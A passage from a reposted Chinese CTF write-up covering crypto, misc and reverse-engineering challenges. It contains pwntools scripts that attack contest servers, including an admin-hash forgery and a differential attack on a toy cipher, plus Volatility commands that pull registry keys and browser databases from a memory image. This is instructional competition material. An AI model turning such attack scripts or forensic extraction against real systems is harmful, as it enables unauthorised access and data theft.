        delta.value -= 0x9E3779B9
    return pack('>2I', v0.value, v1.value)
#https://www.icode9.com/content-1-1126418.html
p=remote('8.134.37.86',24014)
p.recvuntil(b'sha256(XXXX+')
end=p.recv(16).decode()
p.recvuntil(b' == ')
sha=p.recvuntil('\n')[:-1].decode()
xxxx=Pow(end,sha)
p.recvuntil(b'Give me XXXX:')
p.sendline(xxxx.encode())
p.recvuntil(b'Choice:\n')
p.sendline(b'0')
p.recvuntil(b'I can hash for you')
p.sendline(b'a'*16)
userhash=p.recvuntil('\n')[:-1]
adminpass = b'Iamthesuperadmin'
nounce=decrypt(userhash,b'a'*16)
hasher=myhash(nounce,adminpass)
p.recvuntil(b'Choice:\n')
p.sendline(b'1')
p.recvuntil(b'Are you admin?')
p.sendline(hasher)
p.interactive()
  
  
  
          

2.baby_Geometry 

考察ecc加密,p選擇的很小,可以直接枚舉k獲得私鑰。

2021第二屆“天翼杯”網絡安全攻防大賽 Writeup by X1cT34m-小綠草信息安全實驗室

提供了一個圖片,發現是ECC算法,提供的階數很小,可以直接爆破出密鑰,解密腳本如下:

msg=[ 

[1872,4517], 

[226,2], 

[2267,970], 

[6239,241], 

[2859,3408], 

[5000,774], 

[1568,6031], 

[2879,587], 

[2579,2114], 

[2267,970], 

[1568,6031], 

[2879,587], 

[2267,970], 

[4070,5982], 

[5388,2334], 

[5873,5782] 

 

a = 1 

b = 5 

p = 6277 

E = EllipticCurve(GF(p), [a,b]) 

G = E([10,180]) 

k=381 

r=6 

for i in range(len(msg)): 

print(E(msg[i])-k*r*G))

得到明文msg:

轉成文本

或者
p=6277
a=1
b=5
E=EllipticCurve(GF(p),[a,b])
G=E(10,180)
K=E(5756,864)
r=6
for i in range(G.order()):
    if K==i*G:
        k=i
        break
C2=r*G
x=[1872,226,2267,6239,2859,5000,1568,2879,2579,2267,1568,2879,2267,4070,5488,5873]
y=[4517,2,970,241,3408,774,6031,587,2114,970,6031,587,970,5982,2334,5782]
m=""
for i in range(16):
    C1=E(x[i],y[i])
    m+=chr((C1-k*C2)[0])
print(m)
print("flag{"+m+"}")

得到最終flag:

flag{GEoM3t2Yfo2YoUXD}

4.Crypto_mycipher


from hashlib import sha256 
import random 
from pwn import * 
from pwnlib.util.iters import bruteforce 
from struct import pack, unpack 
 
def g(v1,v2,x): 
    value = (v1+v2+x)%256 
    value = ((value<<3) | (value>>5)) &0xff 
    return value 
 
def f(value): 
    v1,v2 = unpack('>2B',pack('>H',value)) 
    v2 = g(v1,v2,1) 
    v1 = g(v1,v2,0) 
    value = unpack('>H',pack('>2B',v1,v2)) 
    return value[0] 
 
def decrypt_ecb(cipher,key): 
    msg = '' 
    for i in range(0,len(cipher),4): 
        msg += decrypt(cipher[i:i+4],key) 
    return msg.strip('\x00')   
 
def decrypt(msg,key): 
    subkeys = unpack('>4H',key) 
    left,right = unpack('>2H',msg) 
    left = right^left 
    for i in range(3): 
        left,right = right,left 
        left = left^f(subkeys[2-i]^right) 
    right = right^subkeys[3] 
    return pack('>2H', left, right) 
 
def encrypt_ecb(msg,key): 
    l = len(msg) 
    if l%4 !=0: 
        msg = msg+'\x00'*(4-(l%4)) 
    cipher = '' 
    for i in range(0,len(msg),4): 
        cipher += encrypt(msg[i:i+4],key) 
    return cipher 
 
def encrypt(msg,key): 
    subkeys = unpack('>4H',key) 
    left,right = unpack('>2H',msg) 
    right = right^subkeys[3] 
    for i in range(3): 
        tmp = left^f(subkeys[i]^right)  
        left = right 
        right = tmp 
    left = right^left 
    return pack('>2H', left, right) 
 
def dfa_f(): 
    for i in range(1000): 
        input1 = random.randint(0,0xffff) 
        output1 = f(input1) 
        input2 = input1^0x8080 
        output2 = f(input2) 
 
        assert(output1^output2 == 0x400) 
 
def genpayload1(num): 
    payload = '' 
    for i in range(num): 
        data1 = random.randint(0,0xffff) 
        data2 = random.randint(0,0xffff) 
        data2diff = data2^0x8080 
        payload += pack('>2H',data1,data2)  
        payload += pack('>2H',data1,data2diff)  
    return payload 
   
def genpayload2(num): 
    payload = '' 
    for i in range(num): 
        data1 = random.randint(0,0xffff) 
        data2 = random.randint(0,0xffff) 
        data2diff = data2^0x400 
        payload += pack('>2H',data1,data2)  
        payload += pack('>2H',data1,data2diff)  
    return payload  
 
def testkey_round3(pairs,key): 
    for pair in pairs: 
        output1 = pair[0] 
        output2 = pair[1] 
        output1_0,output1_1 = unpack('>2H',output1) 
        output2_0,output2_1 = unpack('>2H',output2) 
        f_out_diff = output1_1 ^ output2_1 ^0x400 
        f_in1 = key^output1_0^output1_1 
        f_in2  = key^output2_0^output2_1 
        if(f(f_in1)^f(f_in2)==f_out_diff): 
            continue 
        else: 
            return False 
    return True 
 
def testkey_round2(pairs,key,r3key): 
    for pair in pairs: 
        output1 = pair[0] 
        output2 = pair[1] 
        output1_0,output1_1 = unpack('>2H',output1) 
        output2_0,output2_1 = unpack('>2H',output2) 
        output1_r3_1 = output1_0^output1_1  
        output2_r3_1 = output2_0^output2_1 
        f_out_diff  = output1_r3_1^output2_r3_1^0x400 
        f_in1 = key^output1_1^f(r3key^output1_r3_1)   
        f_in2  = key^output2_1^ f(r3key^output2_r3_1) 
        if(f(f_in1)^f(f_in2)==f_out_diff): 
            continue 
        else: 
            return False 
    return True 
 
def attack_round1(msg,cipher,keys): 
    ciphers = [cipher[i:i+4] for i in range(0,len(cipher),4)] 
    msgs = [msg[i:i+4] for i in range(0,len(msg),4)] 
    c = ciphers[0] 
    m = msgs[0] 
    output0,output1 = unpack('>2H',c) 
    output0 = output0^output1 
    input0,input1 = unpack('>2H',m) 
    candkeys = [] 
    for key in keys: 
        r2k,r3k = key 
        output_r2_1 = output0 
        output_r2_0 = output1^f(r3k^output0) 
        output_r1_1 = output_r2_0  
        output_r1_0 = output_r2_1^f(r2k^output_r2_0) 
        k0 = output_r1_0^input1 
        for k in range(0x10000): 
            f_in = k^output_r1_0 
            f_out = output_r1_1^input0  
            if f(f_in) == f_out: 
                candkeys.append([k,r2k,r3k,k0]) 
    return candkeys 
 
def attack_round2(msg,cipher,keys): 
    ciphers = [cipher[i:i+4] for i in range(0,len(cipher),4)] 
    cipher_pairs = [(ciphers[i],ciphers[i+1]) for i in range(0,len(ciphers),2)] 
    candkeys = [] 
    for r3k in keys: 
        for key in range(0x10000): 
            if testkey_round2(cipher_pairs,key,r3k): 
                candkeys.append([key,r3k]) 
    return candkeys 
 
def attack_round3(msg,cipher): 
    ciphers = [cipher[i:i+4] for i in range(0,len(cipher),4)] 
    cipher_pairs = [(ciphers[i],ciphers[i+1]) for i in range(0,len(ciphers),2)] 
    candkeys = [] 
    for key in range(0x10000): 
        if testkey_round3(cipher_pairs,key): 
            candkeys.append(key) 
    return candkeys     
 
def exploit(): 
    con = remote('127.0.0.1',10005) 
 
    context.log_level = 'debug' 
    con.recvuntil("XXXX+") 
    d = con.recvuntil(")")[:-1] 
    con.recvuntil(" == ") 
    target = con.recvline().strip() 
    ans = bruteforce(lambda x: sha256(x+d).hexdigest() == target,string.letters+string.digits,4) 
    con.sendlineafter("Give me XXXX",ans) 
    con.recvuntil('is:') 
    flag = con.recvline().strip() 
    payload = genpayload1(6)+genpayload2(6) 
    con.sendlineafter(':',payload) 
    cipher = con.recv(len(payload)) 
    cipher_round3 = cipher[:48] 
    msg_round3 = payload[:48] 
    possible_keys = attack_round3(msg_round3,cipher_round3) 
    print 'round3 keys maybe:', possible_keys 
    cipher_round2 = cipher[48:96] 
    msg_round2 = payload[48:96] 
    possible_keys = attack_round2(msg_round2,cipher_round2,possible_keys) 
    print 'round2 keys maybe:', possible_keys 
    possible_keys = attack_round1(msg_round2,cipher_round2,possible_keys) 
    print 'round1&0 keys maybe:',possible_keys 
    for key in possible_keys: 
        real_key = pack('>4H',*key) 
        print 'decrypt with key ',repr(real_key) 
        print repr(decrypt_ecb(flag,real_key)) 
    con.close() 
 
def exploit_local(): 
    key = os.urandom(8) 
    print repr(key) 
    payload = genpayload1(6)+genpayload2(6) 
    cipher = encrypt_ecb(payload,key) 
    cipher_round3 = cipher[:48] 
    msg_round3 = payload[:48] 
    possible_keys = attack_round3(msg_round3,cipher_round3) 
    print 'round3 keys maybe:', possible_keys 
    cipher_round2 = cipher[48:96] 
    msg_round2 = payload[48:96] 
    possible_keys = attack_round2(msg_round2,cipher_round2,possible_keys) 
    print 'round2 keys maybe:', possible_keys 
    possible_keys = attack_round1(msg_round2,cipher_round2,possible_keys) 
    print 'round1&0 keys maybe:',possible_keys 
    flag = 'flag{test}' 
    flag = encrypt_ecb(flag,key) 
    print decrypt_ecb(flag,key) 
    for key in possible_keys: 
        real_key = pack('>4H',*key) 
        print 'decrypt with key ',repr(real_key) 
        print repr(decrypt_ecb(flag,real_key)) 
 
exploit()   

Misc

1.Login簽到

簽到就是加入QQ群,群公告里面有

FLAG

flag{e7gRR32wJJcHwQjwc2k9qFZ6fvn3gZ8P}

2.baby_Geometry

ECC

參考

https://blog.csdn.net/sitebus/article/details/82835492

from sage.all import *

a = 6277
x = 1
y = 5
EC = EllipticCurve(Zmod(a), [x, y])
G = EC(10, 180)
P = EC(5756, 864)
r = 6
lists = [
(1872, 4517),
(226, 2),
(2267, 970),
(6239, 241),
(2859, 3408),
(5000, 774),
(1568, 6031),
(2879, 587),
(2579, 2114),
(2267, 970),
(1568, 6031),
(2879, 587),
(2267, 970),
(4070, 5982),
(5488, 2334),
(5873, 5782)
]
m = []
for c in lists:
C = EC(c)
M = C - r * P
m.append(M[0])
print("flag{" + bytearray(m).decode() + "}")

3.rrrgggbbb

RGB最低位隱寫

三個通道都隱藏了信息,直接stegsolve將其提取出來,發現三個文件頭有相似結構,

根據題目提示以及已有可見字符,可以推斷組合方式就是r->g->b順序按字節輪流填充即可

r = open("r","rb").read()
g = open("g","rb").read()
b = open("b","rb").read()

length = len(r)
print(len(r),len(g),len(b))
file = open("flag","wb+")
for i in range(length):
file.write(r[i].to_bytes(1,byteorder='little',signed=False))
file.write(g[i].to_bytes(1,byteorder='little',signed=False))
file.write(b[i].to_bytes(1,byteorder='little',signed=False))


file.close()
或者
with open(r'f:\share\20210923\r.dat','rb') as f1:  
    data1=f1.read()[:202]  
with open(r'f:\share\20210923\g.dat','rb') as f2:  
    data2=f2.read()[:202]  
with open(r'f:\share\20210923\b.dat','rb') as f3:  
    data3=f3.read()[:202]  
data=b''  
for i in range(202):  
    data+=bytes([data1[i],data2[i],data3[i]])  
print(data.hex())  

發現是BPG格式文件,是一種特殊的圖片,直接bpgview工具查看即可得到flag,工具鏈接

https://bellard.org/bpg/bpg-0.9.8-win64.zip


4.Browser

imageinfo發現是win7

提示默認瀏覽器

參考

https://blog.csdn.net/weixin_29811891/article/details/118350644

提取第一部分

volatility -f Browser.raw --profile=Win7SP0x86 printkey -K "SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice"

得到MSEdgeHTM

第二部分grep搜

filescan | grep Edge

得到版本號,92.0.902.78

桌面存在瀏覽器備份文件

dump后sqlite打開

volatility -f Browser.raw --profile=Win7SP0x86 dumpfiles -Q 0x000000007d95f648 --dump-dir .

找num_visits最多的,拼接

MSEdgeHTM_92.0.902.78_https://weibo.com/login.php

md5后即為flag

或者

.\volatility.exe -f .\Browser.raw --profile=Win7SP1x86_23418 printkey -K "Software\ Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice" 

得到默認瀏覽器 MSEdgeHTM

.\volatility.exe -f .\Browser.raw --profile=Win7SP1x86_23418 filescan 

搜索 Edge\Application 得到版本號 92.0.902.78

搜索 Web Database 文件並導出

.\volatility.exe -f .\Browser.raw --profile=Win7SP1x86_23418 dumpfiles -Q 0x00000 0007d95f640 -D ./ 

修改后綴為.db 用 SQLite Database Browser 直接打開

得到瀏覽次數最多的網站

https://weibo.com/login.php 

組合再 md5 加密一下得到 flag

MSEdgeHTM_92.0.902.78_https://weibo.com/login.php 
flag{a7de3bb43d18196f4ca5570aa8755db9}
或者
先是拿到
1.默認瀏覽器(請給出在注冊表中可證明它是默認瀏覽器的對應的值,如:IE.HTTP)
一般都在注冊表,耐心翻翻
./volatility -f /root/CTF/Browser.raw --profile=Win7SP1x86 hivelist
./volatility -f /root/CTF/Browser.raw --profile=Win7SP1x86 hivelist -o 0x8f484880
 
 
 
         
看到追加到注冊表的地址
 
 
 
         

然后去檢索win7 的注冊表
 
 
 
         
./volatility -f /root/CTF/Browser.raw --profile=Win7SP1x86 dumpfiles -Q
0x000000007da2abf0 -D ./
 
 
 
         

下載下來導入navicat
 
 
 
         

降序下然后就能看到
https://weibo.com/login.php
拼接
MSEdgeHTM_92.0.902.78_https://weibo.com/login.php
得到flag

Re

1.evvverse 

IDA打開定位main函數

發現程序先進行flag格式判斷,然后RC4加密,后面又經過AES加密


這里有誤導,其實不是des

動態調試獲得key和iv,然后和固定字符串比較,因此對字符串先解AES,再解RC4即可得到正確的輸入。

模擬程序加密流程驗證如下:





參考鏈接:
https://blog.csdn.net/qq_45603443/article/details/120475301?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-2.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-2.no_search_link


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM